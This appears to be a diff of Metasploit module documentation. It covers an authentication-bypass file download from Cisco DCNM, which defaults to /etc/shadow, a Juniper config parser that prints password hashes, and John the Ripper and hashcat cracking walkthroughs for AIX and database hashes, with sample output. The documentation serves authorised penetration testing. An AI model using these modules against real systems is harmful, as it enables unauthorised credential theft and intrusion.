(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
## Author and discoverer
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
## References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
https://seclists.org/fulldisclosure/2019/Jul/7
## Usage
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
```
msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
rhost => 10.75.1.40
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
[+] 10.75.1.40:443 - Got sysTime value 1567081446000
[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,91 @@
## General Notes
This module imports a Juniper configuration file into the database.
This is similar to `post/juniper/gather/enum_juniper` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this (junos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
or [this (screenos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf).
## Verification Steps
1. Have a Juniper configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/juniper/juniper_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `set action junos`
7. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
**Action**
`JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
## Scenarios
### JunOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/juniper_ex2200.config
config => /tmp/juniper_ex2200.config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
[+] SNMP community read with permissions read-only
[+] SNMP community public with permissions read-only
[+] SNMP community private with permissions read-write
[+] SNMP community secretsauce with permissions read-write
[+] SNMP community hello there with permissions read-write
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
[+] Config import successful
[*] Auxiliary module execution completed
```
### ScreenOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/screenos.conf
config => /tmp/screenos.conf
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > set action SCREENOS
action => SCREENOS
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -1,10 +1,10 @@
## Description
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with interesting names. This information can help you fine-tune further attacks against the database.
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with "interesting" names. This information can help you fine-tune further attacks against the database.
## Verification Steps
1. Do: ```use auxiliary/scanner/mssql/mssql_idf```
1. Do: ```use auxiliary/admin/mssql/mssql_idf```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set THREADS [number of threads]```
4. Do: ```run```
@@ -4,7 +4,7 @@ This module allows you to perform SQL queries against a database using known-goo
## Verification Steps
1. Do: ```use auxiliary/scanner/mssql/mssql_sql```
1. Do: ```use auxiliary/admin/mssql/mssql_sql```
2. Do: ```set PASSWORD [password1]```
3. Do: ```set RHOSTS [IP]```
4. Do: ```set [SQL Command]```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module acts as a simple remote control for Belkin Wemo-enabled
Crock-Pots by implementing a subset of the functionality provided by the
@@ -13,11 +13,10 @@ You may buy the device on Amazon at <https://www.amazon.com/dp/B00IPEO02C/>.
## Actions
```
Available actions:
Name Description
---- -----------
Cook Cook stuff
Stop Stop cooking
Name Description
---- -----------
Cook Cook stuff
Stop Stop cooking
```
## Options
@@ -0,0 +1,292 @@
## Vulnerable Application
This module attempts to use a password cracker to decode AIX
based password hashes, such as:
* `DES` based passwords
Formats:
| Common | John | Hashcat |
|--------| ---------|---------|
| des | descript | 1500 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a `des` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_aix```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-27621-1ucwc3l
[*] Wordlist file written out to /tmp/jtrtmp20190531-27621-qk76qr
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:06) 100.0g/s 1103Kp/s 4415Kc/s 4415KC/s test3:::..t1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:06) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1250 descrypt des2_password password Single
1251 descrypt des_password password Single
1252 descrypt des_55 55 Normal
1253 descrypt des_pot_55 55 Already Cracked/POT
1254 descrypt des_passphrase passphrase Normal
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_pot_55 55 Password
des2_password password Password
des_password password Password
des_55 55 Password
des_passphrase passphrase Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-27714-1ct3bn3
[*] Wordlist file written out to /tmp/jtrtmp20190531-27714-1j3q151
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3 /tmp/jtrtmp20190531-27714-1j3q151
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1260 descrypt des2_password password Wordlist
1261 descrypt des_password password Wordlist
1262 descrypt des_55 55 Incremental
1263 descrypt des_pot_55 55 Already Cracked/POT
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_pot_55 55 Password
des_55 55 Password
des2_password password Password
des_password password Password
```
@@ -0,0 +1,920 @@
## Vulnerable Application
This module attempts to use a password cracker to decode varying databases
based password hashes, such as:
* `mysql` based passwords
* `mysql` based passwords
* `mysql-sha1` based passwords
* `mssql` based passwords
* `mssql` based passwords
* `mssql05` based passwords
* `mssql12` based passwords
* `oracle` based passwords
* `oracle 10` based passwords
* `oracle 11/12 H values` based passwords
* `oracle 12c` based passwords
* `postgres` based passwords
| Common | John | Hashcat |
|----------------|-------------|---------|
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| mssql | mssql | 131 |
| mssql05 | mssql05 | 132 |
| mssql12 | mssql12 | 1731 |
| oracle 10 | oracle | n/a |
| oracle 11/12 H | | 112 |
| oracle 12c | sha512crypt | 12300 |
| postgres | postgres | 1800 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a database password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_databases```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MSSQL**
Crack MSSQL hashes. Default is `true`.
**MYSQL**
Crack MySQL hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**ORACLE**
Crack oracle hashes. Default is `true`.
**POSTGRES**
Crack postgres hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279$
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E278$
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797$
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:$
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B3$
##postgres uses username, so we can't overide that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
creds add user:example postgres:md5be86a79bf20fake2d58d5453c47d4860
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
echo "foo" >> /tmp/wordlist
echo "tere" >> /tmp/wordlist
echo "Password1\!" >> /tmp/wordlist
echo "system" >> /tmp/wordlist
echo "simon" >> /tmp/wordlist
echo "A" >> /tmp/wordlist
echo "THALES" >> /tmp/wordlist
echo "probe" >> /tmp/wordlist
echo "epsilon" >> /tmp/wordlist
echo "t\!" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-29358-125bmsb
[*] Wordlist file written out to /tmp/jtrtmp20190531-29358-11uv1t0
[*] Checking mssql hashes already cracked...
[*] Cracking mssql hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 400.0p/s 400.0c/s 400.0C/s TEST3:::..FOO
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1357 mssql mssql_foo FOO Single
[*] Checking mssql05 hashes already cracked...
[*] Cracking mssql05 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 15:44) 100.0g/s 400.0p/s 800.0c/s 800.0C/s test3:::..foo
Use the "--show --format=mssql05" options to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql05 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
[*] Checking mssql12 hashes already cracked...
[*] Cracking mssql12 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 409600p/s 409600c/s 409600C/s test3:::..Password1\!99
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql12 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
[*] Checking mysql hashes already cracked...
[*] Cracking mysql hashes in single mode...
